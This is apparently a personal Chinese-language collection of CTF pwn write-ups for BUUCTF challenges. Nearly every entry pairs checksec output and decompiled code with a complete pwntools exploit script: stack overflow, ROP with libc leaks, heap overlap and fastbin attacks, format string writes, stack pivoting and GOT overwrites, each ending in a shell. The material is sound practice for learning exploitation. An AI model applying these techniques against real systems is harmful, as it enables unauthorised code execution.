做到哪里算那题,没有难度不一,没有先后顺序。题目都可以在BUU上找到。
jarvisoj_level0 checksec检查 1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main函数如下: 1 2 3 4 5 int __cdecl main(int argc, const char **argv, const char **envp) { write(1, "Hello, World\n", 0xDuLL); return vulnerable_function(); }
vulnerable_function函数如下: 1 2 3 4 5 6 ssize_t vulnerable_function() { char buf; // [sp+0h] [bp-80h]@1 return read(0, &buf, 0x200uLL); }
callsystem函数如下: 1 2 3 4 int callsystem() { return system("/bin/sh"); }
利用: 溢出覆盖返回地址到callsystem
函数地址,getshell
。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #! /usr/bin/env python from pwn import * #sh=process('./level0') sh=remote('node3.buuoj.cn',27943) context.log_level='debug' flag_addr=0x0400596 payload='a'*0x88+p64(flag_addr) sh.recvuntil('Hello, World\n') sh.sendline(payload) sh.interactive() ~
jarvisoj_level2 checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
main函数如下: 1 2 3 4 5 6 int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(); system("echo 'Hello World!'"); return 0; }
vulnerable_function函数如下: 1 2 3 4 5 6 7 ssize_t vulnerable_function() { char buf; // [sp+0h] [bp-88h]@1 system("echo Input:"); return read(0, &buf, 0x100u); }
利用: 程序有system函数,但是参数不对,查找字符串找到/bin/sh
,32位程序传入栈中getshell。这里payload写了俩种利用方式,大同小异。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #! /usr/bin/env python from pwn import * #sh=process('./level2') sh=remote('node3.buuoj.cn',29538) context.log_level='debug' elf=ELF('./level2') system_plt=elf.plt['system'] call_system=0x0804849E bin_sh_addr=0x0804A024 #payload='a'*0x8c+p32(call_system)+p32(bin_sh_addr) payload='a'*0x8c+p32(system_plt)+p32(1)+p32(bin_sh_addr) sh.recvuntil('nput:\n') sh.sendline(payload) sh.interactive()
babyrop checksec检查:
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main函数如下: 1 2 3 4 5 6 7 8 9 int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [sp+0h] [bp-10h]@1 system("echo -n \"What's your name? \""); __isoc99_scanf("%s", &v4); printf("Welcome to the Pwn World, %s!\n", &v4); return 0; }
利用: 利用scanf函数覆盖返回地址,64位程序注意传参顺序,rdi,rsi,rdx,rcx,r8,r9.
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #! /usr/bin/env python from pwn import * #sh=process('./babyrop') sh=remote('node3.buuoj.cn',26344) #context.log_level='debug' pop_ret=0x0000000000400683 bin_sh_addr=0x0000000000601048 call_system=0x00000000004005E3 sh.recvuntil("What's your name? ") payload='a'*0x10+'a'*0x8+p64(pop_ret)+p64(bin_sh_addr)+p64(call_system) sh.sendline(payload) sh.interactive()
babystack checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main函数如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl main(int argc, const char **argv, const char **envp) { char buf; // [sp+0h] [bp-10h]@1 size_t nbytes; // [sp+Ch] [bp-4h]@1 setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); LODWORD(nbytes) = 0; puts("**********************************"); puts("* Welcome to the BJDCTF! *"); puts("* And Welcome to the bin world! *"); puts("* Let's try to pwn the world! *"); puts("* Please told me u answer loudly!*"); puts("[+]Are u ready?"); puts("[+]Please input the length of your name:"); __isoc99_scanf("%d", &nbytes); puts("[+]What's u name?"); read(0, &buf, (unsigned int)nbytes); return 0; }
backdoor函数如下: 1 2 3 4 5 signed __int64 backdoor() { system("/bin/sh"); return 1LL; }
利用: 没有检查name_length,所有直接构造长度,覆盖返回地址。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #! /usr/bin/env python from pwn import * #sh=process('./bjdctf_2020_babystack') sh=remote('node3.buuoj.cn',28979) context.log_level='debug' backdoor=0x00000000004006E6 payload='a'*0x18+p64(backdoor) sh.recvuntil('Please input the length of your name:\n') sh.sendline(str(len(payload))) #sh.recvuntil("What's u name?\n") sh.send(payload) sh.interactive()
babyheap_0ctf_2017 checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
利用: 程序中edit函数存在漏洞,可以任意输入size,导致我们可以输入任意大小的数据。通过修改free chunk的size,然后申请回来,再次free到unsorted bin里 照成堆块的重叠,来泄露libc,然后修改fastbin中被free掉的chunk的fd指针指向malloc_hook,构造fake chunk。最后写入one_gadget来getshell。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 #! /usr/bin/env python from pwn import * #sh=process('babyheap_0ctf_2017') sh=remote('node3.buuoj.cn',27186) elf=ELF('./babyheap_0ctf_2017') libc=elf.libc #context.log_level='debug' def add(size): sh.recvuntil('Command: ') sh.sendline('1') sh.recvuntil('Size: ') sh.sendline(str(size)) def edit(index,size,content): sh.recvuntil('Command: ') sh.sendline('2') sh.recvuntil('Index: ') sh.sendline(str(index)) sh.recvuntil('Size: ') sh.sendline(str(size)) sh.recvuntil('Content: ') sh.send(content) def show(index): sh.recvuntil('Command: ') sh.sendline('4') sh.recvuntil('Index: ') sh.sendline(str(index)) def free(index): sh.recvuntil('Command: ') sh.sendline('3') sh.recvuntil('Index: ') sh.sendline(str(index)) add(0x90) #0 add(0x90) #1 add(0x90) #2 add(0x90) #3 free(1) edit(0,0xa0,'a'*0x90+p64(0)+p64(0x141)) add(0x130) #1 edit(1,0xa0,'a'*0x90+p64(0)+p64(0xa1)) free(2) show(1) main_arena= u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88 sh.success('main_arena : ' +hex(main_arena)) libc_base=main_arena-0x3c4b20 sh.success('libc_base : ' +hex(libc_base)) one_gadget=libc_base+0x4526a sh.success('one_gadget : ' +hex(one_gadget)) add(0x90) #2 add(0x10) #4 add(0x60) #5 add(0x10) #6 free(5) malloc_hook=libc_base+libc.symbols['__malloc_hook'] fake_size=malloc_hook-0x23 sh.success('malloc_hook : ' +hex(malloc_hook)) edit(4,0x28,'a'*0x10+p64(0)+p64(0x71)+p64(fake_size)) add(0x60) #5 add(0x60) #7 edit(7,0x1b,'a'*0x3+p64(one_gadget)*3) add(0x10) #gdb.attach(sh) sh.interactive()
ciscn_2019_n_5 checksec检查: 1 2 3 4 5 6 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
利用: 发现gets函数,首先泄露libc,然后利用one_gadget来getshell。 这里注意libc版本,远程是libc-2.27.so
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #! /usr/bin/env python from pwn import * #sh=process('./ciscn_2019_n_5') sh=remote('node3.buuoj.cn',29449) elf=ELF('./ciscn_2019_n_5') libc=ELF('./libc-2.27.so') context.log_level='debug' main_addr=0x400636 puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] pop_rdi_ret=0x0000000000400713 sh.recvuntil('tell me your name\n') sh.sendline('L0ne1y') sh.recvuntil('What do you want to say to me?\n') payload='a'*0x28+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) sh.sendline(payload) puts_addr=u64(sh.recv(6).ljust(8,'\x00')) sh.success('puts_addr : ' +hex(puts_addr)) libc_base=puts_addr-libc.symbols['puts'] sh.success('libc_base : ' +hex(libc_base)) one_gadget=libc_base+0x4f2c5 sh.recvuntil('tell me your name\n') sh.sendline('L0ne1y') sh.recvuntil('What do you want to say to me?\n') payload1='a'*0x28+p64(one_gadget) sh.sendline(payload1) sh.interactive()
level2_x64 checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 没啥好说的,栈溢出
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #! /usr/bin/env python from pwn import * #sh=process('./level2_x64') sh=remote('node3.buuoj.cn',27053) #context.log_level='debug' pop_ret=0x00000000004006b3 bin_sh_addr=0x0000000000600A90 call_system=0x0000000000400603 sh.recvuntil("Input:\n") payload='a'*0x80+'a'*0x8+p64(pop_ret)+p64(bin_sh_addr)+p64(call_system) sh.sendline(payload) sh.interactive()
ciscn_2019_ne_5 checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: main函数没办法F5,只能看会汇编了,system参数利用ROPgadget找到了,0x080482ea : sh
,剩下的老套路。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #! /usr/bin/env python from pwn import * sh = process('./ciscn_2019_ne_5') elf = ELF('./ciscn_2019_ne_5') context.log_level = 'debug' system_addr = 0x080484D0 sh_addr = 0x080482Ea puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] sh.sendlineafter('password:','administrator') payload = 'a'*0x48 + 'a'*0x4 + p32(system_addr) + 'a'*4 + p32(sh_addr) sh.recvuntil(':') sh.sendline('1') sh.recvuntil('info:') sh.sendline(payload) sh.recvuntil(':') sh.sendline('4') sh.interactive()
ciscn_s_3 checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x4000000)
vuln函数: 1 2 3 4 5 6 7 8 9 10 11 12 13 .text:00000000004004ED push rbp .text:00000000004004EE mov rbp, rsp .text:00000000004004F1 xor rax, rax .text:00000000004004F4 mov edx, 400h .text:00000000004004F9 lea rsi, [rsp+var_10] .text:00000000004004FE mov rdi, rax .text:0000000000400501 syscall .text:0000000000400503 mov rax, 1 .text:000000000040050A mov edx, 30h .text:000000000040050F lea rsi, [rsp+var_10] .text:0000000000400514 mov rdi, rax .text:0000000000400517 syscall .text:0000000000400519 retn
gadget片段 1 2 .text:00000000004004E2 mov rax, 3Bh .text:00000000004004E9 retn
__libc_csu_init 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text:0000000000400580 loc_400580: ; CODE XREF: __libc_csu_init+54j .text:0000000000400580 mov rdx, r13 .text:0000000000400583 mov rsi, r14 .text:0000000000400586 mov edi, r15d .text:0000000000400589 call qword ptr [r12+rbx*8] .text:000000000040058D add rbx, 1 .text:0000000000400591 cmp rbx, rbp .text:0000000000400594 jnz short loc_400580 .text:0000000000400596 .text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34j .text:0000000000400596 add rsp, 8 .text:000000000040059A pop rbx .text:000000000040059B pop rbp .text:000000000040059C pop r12 .text:000000000040059E pop r13 .text:00000000004005A0 pop r14 .text:00000000004005A2 pop r15 .text:00000000004005A4 retn
利用: 直接看汇编,syscall系统调用,先调用了read(0,rsp+var_10,0x400)
,接着调用write(1,rsp+var_10,0x30)
,这里的rsp+var_10
在栈里填充0x10就可以覆盖到rbp,还有要注意的点是vuln函数只有push rbp
,mov rbp, rsp
俩条指令,导致ret的时候pop rip
,会将栈上rbp的内容pop到rip中。
首先根据程序泄露的栈上地址,计算出/bin/sh\x00
的偏移,同时也可以计算出 mov rax, 3Bh
地址。然后再次输入,通过__libc_csu_init
来将execve(“/bin/sh”,0,0)
写入。具体寄存器值,rax=59,rdi=/bin/sh\x00,rsi=0,rdx=0.
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #! /usr/bin/env python from pwn import * sh=process('./ciscn_s_3') context.log_level='debug' gadget_one=0x000000000040059A gadget_two=0x0000000000400580 syscall=0x0000000000400501 vlun_addr=0x00000000004004ED mov_rax_ret=0x00000000004004E2 pop_rdi_ret=0x00000000004005a3 payload='/bin/sh\x00'+'a'*0x8+p64(vlun_addr) sh.sendline(payload) #gdb.attach(sh,"b *0x0000000000400503") sh.recv(0x20) stack_addr=u64(sh.recv(6).ljust(8,'\x00')) sh.success('stack_addr : ' +hex(stack_addr)) bin_sh_addr=stack_addr-0x118 mov_rax=bin_sh_addr+0x10 sh.success('bin_sh_addr : ' +hex(bin_sh_addr)) gdb.attach(sh) payload='/bin/sh\x00'+'a'*8+p64(mov_rax_ret)+p64(gadget_one)+p64(0)+p64(0x1)+p64(mov_rax)+p64(0)+p64(0)+p64(0)+p64(gadget_two)+'a'*56+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(syscall) sh.sendline(payload) sh.interactive()
babyrop2 checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 泄露libc,然后就one_gadget,没啥好说的。这里要注意用printf泄露rdi=%s
,rsi=泄露地址
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #! /usr/bin/env python from pwn import * #sh=process('./babyrop2') sh=remote('node3.buuoj.cn',25016) context.log_level='debug' elf=ELF('./babyrop2') libc=elf.libc read_got=elf.got['read'] printf_plt=elf.plt['printf'] pop_rdi_ret=0x0000000000400733 pop_rsi_r15_ret=0x0000000000400731 format_addr=0x0000000000400790 main_addr=0x0000000000400636 sh.recvuntil("What's your name? ") payload='a'*0x28+p64(pop_rdi_ret)+p64(format_addr)+p64(pop_rsi_r15_ret)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_addr) sh.sendline(payload) read_addr=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00')) sh.success('read_addr : ' +hex(read_addr)) libc_base=read_addr-libc.symbols['read'] sh.success('libc_base : ' +hex(libc_base)) one_gadget=libc_base+0xf02a4 sh.recvuntil("What's your name? ") payload1='a'*0x28+p64(one_gadget) sh.sendline(payload1) sh.interactive()
pwn2_sctf_2016 checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 整数溢出漏洞,导致栈溢出。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #! /usr/bin/env python from pwn import * #sh=process('./pwn2_sctf_2016') sh=remote('node3.buuoj.cn',28201) context.log_level='debug' context.arch = 'i386' elf=ELF('./pwn2_sctf_2016') libc=ELF('./libc-2.23.so') format_addr=0x080486F8 printf_plt=elf.plt['printf'] printf_got=elf.got['printf'] main_addr=0x080485B8 sh.recvuntil('How many bytes do you want me to read? ') sh.sendline('-1') sh.recvuntil('Ok, sounds good. Give me 4294967295 bytes of data!\n') payload='a'*0x2c+'a'*0x4+p32(printf_plt)+p32(main_addr)+p32(format_addr)+p32(printf_got) sh.sendline(payload) printf_addr = u32(sh.recvuntil('\xf7')[-4:]) sh.success('printf_addr : ' +hex(printf_addr)) libc_base=printf_addr-libc.symbols['printf'] sh.success('libc_base : ' +hex(libc_base)) #system_addr=libc_base+0x03adb0 #bin_sh_addr=libc_base+0x15bb0b one_gadget=libc_base+0x5f066 sh.recvuntil('How many bytes do you want me to read? ') sh.sendline('-1') sh.recvuntil('Ok, sounds good. Give me 4294967295 bytes of data!\n') payload='a'*0x2c+'a'*0x4+p32(one_gadget) sh.sendline(payload) #gdb.attach(sh) sh.interactive()
2018_rop checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用:
栈溢出,泄露libc,很简单 不说了。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./2018_rop') sh=remote('node3.buuoj.cn',25922) elf=ELF('./2018_rop') libc=ELF('./libc32') context.log_level='debug' context.arch = 'i386' write_plt=elf.plt['write'] write_got=elf.got['write'] main_addr=0x080484C6 payload='a'*0x88+'a'*0x4+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4) sh.sendline(payload) write_addr=u32(sh.recv(4)) sh.success('write_addr : ' +hex(write_addr)) obj = LibcSearcher('write',write_addr) libc_base = write_addr - obj.dump('write') system = libc_base + obj.dump('system') binsh = libc_base + obj.dump("str_bin_sh") payload = 'a' * (0x88 + 4) payload += p32(system) payload += p32(0) payload += p32(binsh) sh.success('libc_base : ' +hex(libc_base)) sh.sendline(payload) sh.interactive()
bjdctf_2020_babyrop checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 没啥好说的。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./bjdctf_2020_babyrop') sh=remote('node3.buuoj.cn',29609) elf=ELF('./bjdctf_2020_babyrop') context.log_level='debug' puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main_addr=0x00000000004006AD pop_ret=0x0000000000400733 sh.recvuntil('Pull up your sword and tell me u story!\n') payload='a'*0x20+'a'*0x8+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) sh.sendline(payload) #gdb.attach(sh) puts_addr=u64(sh.recv(6).ljust(8,'\x00')) sh.success('puts_addr : ' +hex(puts_addr)) obj = LibcSearcher('puts',puts_addr) libc_base = puts_addr - obj.dump('puts') system = libc_base + obj.dump('system') binsh = libc_base + obj.dump("str_bin_sh") payload = 'a' *0x20+'a'*0x8 payload += p64(pop_ret) payload += p64(binsh) payload += p64(system) sh.success('libc_base : ' +hex(libc_base)) sh.sendline(payload) sh.interactive()
ez_pz_hackover_2016 checksec 检查: 1 2 3 4 5 6 Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
利用: 需要注意的是lea eax, [ebp+dest]
这里,用IDA点开发现在栈上的0x32处,这里IDA有错误。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #! /usr/bin/env python from LibcSearcher import * from pwn import * #sh=process('./pz_hackover_2016') sh=remote('node3.buuoj.cn',28754) context.log_level='debug' elf=ELF('./pz_hackover_2016') printf_got = elf.got['printf'] printf_plt = elf.plt['printf'] main_addr=0x080486E2 sh.recvuntil('> ') payload=payload = 'crashme'.ljust(26, '\x00') + p32(printf_plt) + p32(main_addr) + p32(0x8048845) + p32(printf_got) sh.sendline(payload) sh.recvuntil('Welcome') sh.recvuntil('Welcome ') printf_addr = u32(sh.recv(4)) libc = LibcSearcher('printf', printf_addr) libc_base = printf_addr - libc.dump('printf') system_addr = libc_base + libc.dump('system') bin_sh_str = libc_base + libc.dump('str_bin_sh') payload1 = 'crashme'.ljust(26,'\x00') + p32(system_addr) + p32(0) + p32(bin_sh_str) sh.sendline(payload1) sh.interactive()
others_shellcode
ciscn_2019_es_2 checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 只能够溢出到返回地址,想到栈迁移,俩次输入,第一次可以输入到ebp之前,printf遇到’\x00’才会终止输出,这也会打印ebp的栈的地址。第二次输入进行栈迁移。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #!/usr/bin/python from pwn import * sh=remote("node3.buuoj.cn",27732) #sh=process("ciscn_2019_es_2") context(arch='i386',os='linux',log_level='debug') sys=0x8048400 leave_ret=0x08048562 sh.recvuntil("Welcome, my friend. What's your name?") payload='a'*0x20+'b'*8 sh.send(payload) sh.recvuntil("b"*8) ebp=u32(sh.recv(4)) payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh" payload2=payload2.ljust(0x28,'\x00') payload2+=p32(ebp-0x38)+p32(leave_ret) #gdb.attach(sh) sh.send(payload2) sh.interactive()
Black_Watch checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 栈迁移
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import * from LibcSearcher import LibcSearcher context.log_level="debug" #sh = process("./spwn") sh=remote("node3.buuoj.cn",29363) elf = ELF("./spwn") bss_s_addr = 0x0804A300 leave_ret_addr = 0x08048408 write_got = elf.got["write"] write_plt = elf.plt["write"] main_addr = elf.symbols["main"] payload1 = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) payload2 = "a"*0x18 + p32(bss_s_addr-4) + p32(leave_ret_addr) sh.recvuntil("What is your name?") sh.send(payload1) sh.recvuntil("What do you want to say?") sh.send(payload2) write_addr = u32(sh.recv(4)) log.success("write_addr =>{}".format(hex(write_addr))) libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump("write") sys_addr = libc_base + libc.dump("system") bin_sh_addr = libc_base + libc.dump("str_bin_sh") payload3 = p32(sys_addr) + p32(main_addr) + p32(bin_sh_addr) sh.recvuntil("What is your name?") sh.send(payload3) sh.recvuntil("What do you want to say?") sh.send(payload2) sh.interactive()
jarvisoj_level3 checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 没啥好讲的
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./level3') sh=remote('node3.buuoj.cn',28946) elf=ELF('./level3') context.log_level='debug' write_plt=elf.plt['write'] write_got=elf.got['write'] main_addr=elf.symbols['main'] payload='a'*0x88+'a'*4+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4) sh.sendline(payload) sh.recvuntil('Input:\n') write_addr=u32(sh.recv(4)) sh.success('write_addr : ' +hex(write_addr)) libc=LibcSearcher('write',write_addr) libc_base=write_addr-libc.dump('write') system_addr=libc_base+libc.dump('system') bin_addr=libc_base+libc.dump('str_bin_sh') payload='a'*0x88+'a'*4+p32(system_addr)+p32(0)+p32(bin_addr) sh.sendline(payload) sh.interactive()
jarvisoj_fm checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 格式化字符串,将x修改为4就好了,这里偏移是11
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 #! /usr/bin/env python from pwn import * sh=process('./fm') sh=remote('node3.buuoj.cn',27282) elf = ELF('./fm') x_addr = 0x0804A02C payload = p32(x_addr) + '%11$n' sh.sendline(payload) sh.interactive()
jarvisoj_tell_me_something checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 没啥说的,简单题。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #! /usr/bin/env python from pwn import * #sh=process('./guestbook') sh=remote('node3.buuoj.cn',27059) elf=ELF('./guestbook') context.log_level='debug' good_game=0x0000000000400620 sh.recvuntil('Input your message:\n') payload='a'*0x88+p64(good_game) sh.sendline(payload) sh.interactive()
jarvisoj_level4 checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 延迟绑定了解一下。qaq
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./level4') sh=remote('node3.buuoj.cn',27391) elf=ELF('./level4') context.log_level='debug' write_plt=elf.plt['write'] write_got=elf.got['write'] main_addr=elf.symbols['main'] payload1='a'*0x88+'a'*4+p32(main_addr) payload='a'*0x88+'a'*4+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4) sh.sendline(payload1) sh.sendline(payload) #gdb.attach(sh) write_addr=u32(sh.recv(4)) sh.success('write_addr : ' +hex(write_addr)) libc=LibcSearcher('write',write_addr) libc_base=write_addr-libc.dump('write') system_addr=libc_base+libc.dump('system') bin_addr=libc_base+libc.dump('str_bin_sh') payload2='a'*0x88+'a'*4+p32(system_addr)+p32(0)+p32(bin_addr) sh.sendline(payload2) sh.interactive()
bjdctf_2020_babystack2 checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 整数溢出造成栈溢出
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #! /usr/bin/env python from pwn import * #sh=process('./bjdctf_2020_babystack2') sh=remote('node3.buuoj.cn',29759) elf=ELF('./bjdctf_2020_babystack2') backdoor=0x0000000000400726 payload='a'*0x10+'a'*8+p64(backdoor) sh.recvuntil('Please input the length of your name:\n') sh.sendline('-1') sh.recvuntil("What's u name?") sh.sendline(payload) sh.interactive()
babyfengshui_33c3_2016 checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 1 2 3 4 5 if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 ) { puts("my l33t defenses cannot be fooled, cya!"); exit(1); }
出问题是判断语句,判断内容是description的地址加上要修改(输入)的长度不能覆盖到存放name那个堆块处。
我们可以通过连续申请俩次,再free第一次申请的chunk,再次申请0x80大小的chunk,这也就导致我们距离存放name的chunk有了一个user(description[1]+name[1])的距离.我们就可以通过覆盖name[1]中的description ptr 为free_got来泄露free的libc,然后再将free_got的内容修改为system,我们在free的时候相当于调用system函数。
这里要注意本地偏移和远程不一样。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./babyfengshui_33c3_2016') sh=remote('node3.buuoj.cn',25114) elf=ELF('./babyfengshui_33c3_2016') #context.log_level='debug' def add(des_size,name,text_size,content): sh.recvuntil('Action: ') sh.sendline('0') sh.recvuntil('size of description: ') sh.sendline(str(des_size)) sh.recvuntil('name: ') sh.sendline(name) sh.recvuntil('text length: ') sh.sendline(str(text_size)) sh.recvuntil('text: ') sh.sendline(content) def free(index): sh.recvuntil('Action: ') sh.sendline('1') sh.recvuntil('index: ') sh.sendline(str(index)) def show(index): sh.recvuntil('Action: ') sh.sendline('2') sh.recvuntil('index: ') sh.sendline(str(index)) def edit(index,text_size,content): sh.recvuntil('Action: ') sh.sendline('3') sh.recvuntil('index: ') sh.sendline(str(index)) sh.recvuntil('text length: ') sh.sendline(str(text_size)) sh.recvuntil('text: ') sh.sendline(content) free_got=elf.got['free'] add(0x20,'L0ne1y',0x20,'A'*0x20) #0 add(0x20,'L0ne1y',0x20,'A'*0x20) #1 free(0) add(0x80,'L0ne1y',0x80,'B'*0x80) #2 edit(2,0x114,'B'*0x80+p32(0)+p32(0x29)+'B'*0x20+p32(0)+p32(0x89)+p32(free_got)) show(1) sh.recvuntil('description: ') free_addr=u32(sh.recv(4)) sh.success('free_addr : ' +hex(free_addr)) libc=LibcSearcher('free',free_addr) libc_base=free_addr-libc.dump('free') system_addr=libc_base+libc.dump('system') sh.success('system_addr : ' +hex(system_addr)) add(0x20,'/bin/sh\x00',0x20,'/bin/sh\x00') #3 edit(1,0x4,p32(system_addr)) free(3) #gdb.attach(sh) sh.interactive()
[V&N2020 公开赛]simpleHeap checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
利用: 利用Off By One 从而实现chunk extend,继而可以引起堆块重叠,改realloc_hook为one_gadget,改malloc_hook为realloc+offset进行调整栈结构以满足one_gadget利用条件
